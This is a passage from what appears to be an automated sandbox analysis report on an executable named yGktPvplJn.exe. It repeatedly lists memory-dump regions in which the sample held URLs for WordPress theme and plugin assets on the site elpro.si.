yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=9.2.3
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ve
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/woocommerce/assets/js/sourcebuster/sourcebuster.min.js?ver=9.
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/wp-smush-pro/app/assets/js/smush-lazy-load.min.js?ver=3.15.3
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/yith-woocommerce-wishlist/assets/css/font-awesome.css?ver=4.7
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/yith-woocommerce-wishlist/assets/css/jquery.selectBox.css?ver
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/yith-woocommerce-wishlist/assets/css/style.css?ver=3.37.0
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/yith-woocommerce-wishlist/assets/js/jquery.selectBox.min.js?v
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/yith-woocommerce-wishlist/assets/js/jquery.yith-wcwl.min.js?v
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/themes/elpro/css/style.css?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/themes/elpro/favicon.png
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/themes/elpro/img/ICO-30-Kosarica.svg
